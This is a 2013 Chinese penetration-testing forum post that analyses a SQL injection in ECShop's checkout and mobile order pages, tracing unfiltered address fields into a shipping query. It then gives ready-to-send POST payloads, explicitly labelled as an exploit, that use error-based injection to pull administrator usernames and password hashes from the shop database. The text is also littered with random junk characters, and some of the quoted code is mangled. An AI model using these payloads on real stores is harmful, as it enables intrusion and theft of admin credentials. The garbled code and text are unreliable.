中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。, l) B, j; W# @
" g1 Q# h( K4 O. I" P; y
    漏洞关键文件:
! @- W0 z0 c4 s/ i
- B$ b5 Y: N* G1 x* S1 L    /includes/lib_order.php
9 a3 x, ~+ e- C) v1 _7 V# x9 K) J! e
    关键函数:+ M" ?- h' o/ j3 @
$ j" B' L. q4 q; v$ ^; k$ E

. Z& ^! J5 ~$ g  h% n) u$ J' H! j4 _! Q
01     function available_shipping_list($region_id_list) ; L6 C: {0 u5 O* ^
. u' ~. l9 p; n/ }) x8 s
02 { * u( O( Y3 S8 p

7 _0 _+ B: t; _4 u- `0 B03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 0 [' c8 K8 ~0 O2 T

: F& m% P& S) y  u, {7 T04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
) Q; o; ^! k" ?+ F  ]! m5 @
  M- p2 G1 ~0 O! x$ I% U05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . " K4 k  U. h1 s; V7 h7 C0 h

; T3 l: G0 L* L: B, ~3 I06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
- ?$ \  ^- }. O, y1 W3 j# M7 Y* F  @8 W$ l! y
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. , Q/ F; n: {8 A9 Y4 m; g6 d. B& v* }
/ c: t( u0 h" y4 s/ P3 r7 `
08             'WHERE r.region_id ' . db_create_in($region_id_list) .   u" ]& F/ r; E+ l* G, Y$ j; \! z
# a& E- C: V/ a2 {7 r/ G3 N8 f8 [
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
# g. e6 n- Z0 E2 E& G  c( n# w3 J' s2 ]* I" L; p9 B
10   - H  J, u% _9 m1 y" Z
  j2 J% z7 ~% ?- ?
11     return $GLOBALS['db']->getAll($sql); 3 E, M, t. @' C! I
6 b6 v9 _/ \6 C0 g( }' Z
12 } % Q; w0 ^% a% }# `! j9 u) l1 D

6 `1 B8 |. i& @$ t" U/ m显然对传入的参数没有任何过滤就带入了查询语句。
0 C0 M1 n' W' ~ % t5 w% [, i4 V1 F. e6 V
下面我们追踪这个函数在flow.php中:
3 ~, s+ R+ n6 N 第531行:   
/ i4 n4 G/ S/ \6 M6 V4 B) b; o8 S6 x# n' Y$ C
1 $shipping_list     = available_shipping_list($region);
: L9 {9 a! F5 `2 e' s. Y
) }) p* \$ I, u1 \1 i
; F$ p' t6 C- `" R" c, V5 U4 J
" T- ?! @% w( R9 p' a* \1 D 1 M3 B" X5 F' B$ m  I( x7 Z

6 h( Y6 \$ w3 E: o# c+ k再对传入变量进行追踪:1 k* T+ V, ]7 U5 E* a( ^0 \2 u
" y3 @( f4 w4 V# I' J9 E
第530行:    8 G2 P* T' L+ \2 e0 j
1 l' ~" J3 k5 e. Z5 j" ^
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); + Y. [; h% `; P$ d. ^/ o- n' f( V

9 _2 Q' I2 u7 V- a, |* y* L2 j ) B( a" f! G1 a* X" J
. b/ u  r) U1 C$ \, I2 S6 b+ M* V. h- W

( W, e* Y3 _* [& B6 P% Y1 h( N8 I% P% B/ M8 y6 Y, d/ l2 _
第473行:        
, r6 T6 N- a0 Q$ Y$ O: S3 o2 ]! u) j9 ]. Y2 l
1 $consignee = get_consignee($_SESSION['user_id']);
$ p8 k9 |/ f* s3 P+ K  T8 \) e  z% V. H  p" k
到了一个关键函数:* q: P- k- B/ X! J
  `1 r. h$ M2 O( h
/includes/lib_order.php
; \8 A9 i- W* f# Y. o; `$ j) X0 t, P. H: f, ?
* K* ]/ N4 ?. E& J' c: ]$ B6 A& W; |

+ i$ B5 N# Z! r: e9 B ) _& R" R% k, v/ _. W9 e0 S" L

6 p7 y- U# P  D+ _01 function get_consignee($user_id)
4 o+ q$ z' g7 `; g: V* u5 ?# {4 |& T
02 { 6 r* ~. u( X3 [9 ?
1 d* L, s+ W# o0 \
03     if (isset($_SESSION['flow_consignee'])) ! q" q0 @  W  V3 C: p% S) g3 e

: m7 N( J' H& u04     {
6 g3 J8 d# |0 l) `
( W1 b/ s/ L2 ]- `9 e" p4 J" h4 w1 r05         /* 如果存在session,则直接返回session中的收货人信息 */
# j0 ]" D4 M6 F% Q, z
/ n2 C: f, }  Q9 s8 p06   & f& B, D% R" g5 ]" v+ |

6 [; Y" f# n( [* c: N! z07         return $_SESSION['flow_consignee']; . V' E) U% J: m6 \$ u8 R+ P% y/ N  m$ ?
( E( m* c8 W- w" r+ R
08     } 0 A, z2 f1 a7 s' T3 q

0 J. ?0 I9 e" J  L! T! q6 t1 s2 o09     else 0 {) ~$ z4 V  A, x- u2 w
# u: h* Z* j/ V( k& p2 p9 i
10     { : u: R" y; K' Q/ h. Z: i8 Y2 L

, a. n, r+ Z8 H) Z! [# R1 j. |11         /* 如果不存在,则取得用户的默认收货人信息 */ 0 Y& U7 h8 w3 X% x% q+ {) J

' h+ p& {; O9 d9 v12         $arr = array();
; t  h' t8 [, r% b  ?! }4 q3 ]3 Y
( ~8 q" ]* y  o( @3 [4 i13   & k6 M1 x; d: F% ^7 R
  h6 i6 q6 I- L) X! ^
14         if ($user_id > 0)
2 B4 N' U1 ~/ a$ B! Q0 ^
2 S0 B  K% g+ U1 Z15         {
8 a$ t# k% R+ L1 e' q9 q+ [/ h% D2 ~5 M1 V. g+ L; }
16             /* 取默认地址 */ , }7 N6 y# d% ?4 R7 D" T

- |3 w, I6 g( F. E17             $sql = "SELECT ua.*". 5 K0 S; w8 y5 K; n4 x& u9 m
. }7 @9 K+ S) q2 V2 x( c7 Y
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
$ y8 P/ J. e: S, }2 a2 L* N4 n! z4 \% P( k6 r- E; U( A
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; . N' t3 y) H3 p# H' ?0 Q

( W- M, e* F0 _% E$ H1 B20   2 I+ \9 K  C  c8 R( C
+ l7 u; n$ I; G  R9 g2 S
21             $arr = $GLOBALS['db']->getRow($sql);
7 S( h# R$ H; o- b: d5 b/ q8 h; \6 }* M  F4 k2 |' y7 N$ D1 Q
22         } ) s+ {( ^+ x3 h
# u3 u& X( M! Y0 k
23   
9 q% D, w0 l( V8 U8 G
; J! G! T; @$ d; U3 E! E24         return $arr; 5 o& ?! S# n3 J4 Z8 _2 Y2 }/ V7 Z2 g- l$ e) v

/ O6 K$ R/ I5 k8 ?1 X  i; Q9 \25     } $ ?! ]7 g2 h1 z* G& a$ \/ o% j
' O& B1 V+ y" c3 y4 \& g
26 }
0 ?6 Z& W$ H1 ]; H* t1 [0 ]. m( s- q5 K: n- |! [
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
5 X1 z. G/ y8 ^+ V  n- O/ E
7 O7 u0 n6 w; U% ]$ x3 j ( G( p4 p& i* p2 x5 e0 o5 n

: z, h; e4 y0 z& Q- A! N关键点:
+ q7 d0 [" r' H. e$ N- _0 z  j" {$ B+ z6 M' q1 r! P; J
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);+ G" l( D+ [! M- S2 D
- F0 {, P9 \8 t) y0 V; S
这里对传入参数反转义存入$_SESSION中。
) f# U3 ]  Q: W1 F" \( L9 p# U1 ~( q6 L( a

) z% x: m* {% _) b6 {; T* F
, R5 G# P1 N; K- k7 h- S然后看下:' d- U, B6 G; z7 b- s6 X
/ Z5 A; [! ^1 b8 y9 t" U: M8 C
5 Y& f( B/ Y9 M4 i6 D1 n
4 e$ Y& T1 C# a5 V: {' e
   
; Z8 x& ^& u6 [& `+ C" n* I, l6 x4 K+ V2 s: S* @7 _
01 $consignee = array( , @& H9 F: i2 f: y" s4 k
& A5 J7 s5 F8 x' ^
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), * V9 e$ c2 W) p1 ^9 F; n9 b
  Q9 u( B! y. j$ L
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
4 ]( z! B4 l. ^$ m# y) L0 ]* P, `3 l: U( D! a  T
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
; ^% m0 a( N- s/ x% Y6 V3 d3 H1 W9 [( ^& Z2 @: t9 o
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
8 U% {) Q  b8 n1 |# u8 P) z; t$ Z$ ?. K
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
- i' t5 W5 H8 R# ?
  Q$ ]/ s( F6 Q$ f9 h' d( g. A: O07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
9 c0 r* N2 l0 ?/ [( N9 Y  u. M. k! c+ K) g7 [
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
6 M6 j/ V  ]$ {! C; R3 Q9 J& R4 o7 v9 n8 B
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
  z( Y' @/ N/ c3 i' g) V, K. t/ M3 H
) ^/ P) k4 a0 a, r  H10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
3 E5 \  }: A2 y- ^8 l; y& p) r8 f9 o* N+ g: |2 R$ L
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), $ R# h+ _. r- y: Z" a
/ I8 R9 V# ?8 f* K( J5 R
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), 0 q; l/ X# f! }" k5 [9 ^% c0 q
, c0 [2 U( x: \
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
. O5 B3 r! R4 a! J" J0 V  ]2 G
* o/ b1 [: H6 }0 y! x" J14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], * X" y0 ~# F& V* [
, x3 z* ]/ }. c2 w
15     ); - u& b6 s& l+ p

# {+ A, N6 o2 o/ h5 E# F好了注入就这样出现了。
( H+ i7 h9 `$ _: M. x- b% j) r9 l( Q5 I
==================. w" B# F+ T) `2 Q- w
) q& [/ S1 m5 u7 D
注入测试:0 f9 G5 A+ F# p8 a5 f

6 J, l/ U7 X# d" c, V) B4 }1 w- l环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
  [) q+ }0 I9 L( F2 C8 g; I5 `2 O% r/ p) u2 }
测试程序:ECShop_V2.7.3_UTF8_release1106, d4 `* x# V) x1 Y% J! H* I
$ }) m& J5 [  |
& r+ U# Z+ v9 ]0 T" a- @

# P% ?/ z7 }5 j( [  x% E* R1.首先需要点击一个商品加入购物车  k, a! q/ {4 R9 n' ?4 z% A5 I

6 _+ m0 L; o6 R$ O8 F8 K7 h2.注册一个会员帐号
& F* |/ L7 b# }# I9 h3 L& \
. B* o1 r  t9 Y# p  X3.post提交数据
' _2 u7 p3 H/ r/ |! c. g% c3 L1 l4 o3 ~, w, ]

' M! v* H& W8 M( C, ^' B
* ^" A# n+ j6 m( O1 I9 L* D1 http://127.0.0.1/ecshop/flow.php 7 B) g4 ]1 r9 Q

) t) ]& J) Y6 i2     [( H, z1 V' J$ L# c! ?6 R7 D4 p

  s( y4 f% }% b7 u1 V3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
- A' v9 o" F- H$ w4 F' s举一反三,我们根据这个漏洞我们可以继续深入挖掘:
2 F+ l' a& L/ G$ K; U8 p* D+ x9 b8 @  q, Q. c! e( K
我们搜寻关键函数function available_shipping_list()# |4 S- ~0 `# @# i. i, p

; H% X" L, o! I, p* k在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同, i% j' F0 M/ W

5 L' E0 k3 e  b( b: E: U6 r利用exp:$ W% K  e6 J3 G7 W, s7 M
  c; p% v4 z% @- N
1.点击一个商品,点击购买商标
) D# B+ q  g3 p7 O' [& Q- p. V; w
% n1 \, V% S6 _6 g# m; y. _" ^2.登录会员帐号1 b6 j* H& A+ A* R% z" ]: G

$ q! n# T  ^' u9 q. y6 }6 ^3.post提交:$ O' c% b3 T# p8 g" l, h: R5 v

5 |$ s1 ?) l# Whttp://127.0.0.1/ecshop/mobile/order.php
* n  z( k' J1 n; Y1 J! T$ d& Y' m8 X( G" v' C, x* S
7 X4 x, i! V* v) _* |/ D+ G

7 }8 f8 s" S3 K6 \0 A5 jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
& a) @5 i3 H  q/ {( m
0 J: {1 q. r" h$ ?: x+ G, l0 ?; R




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2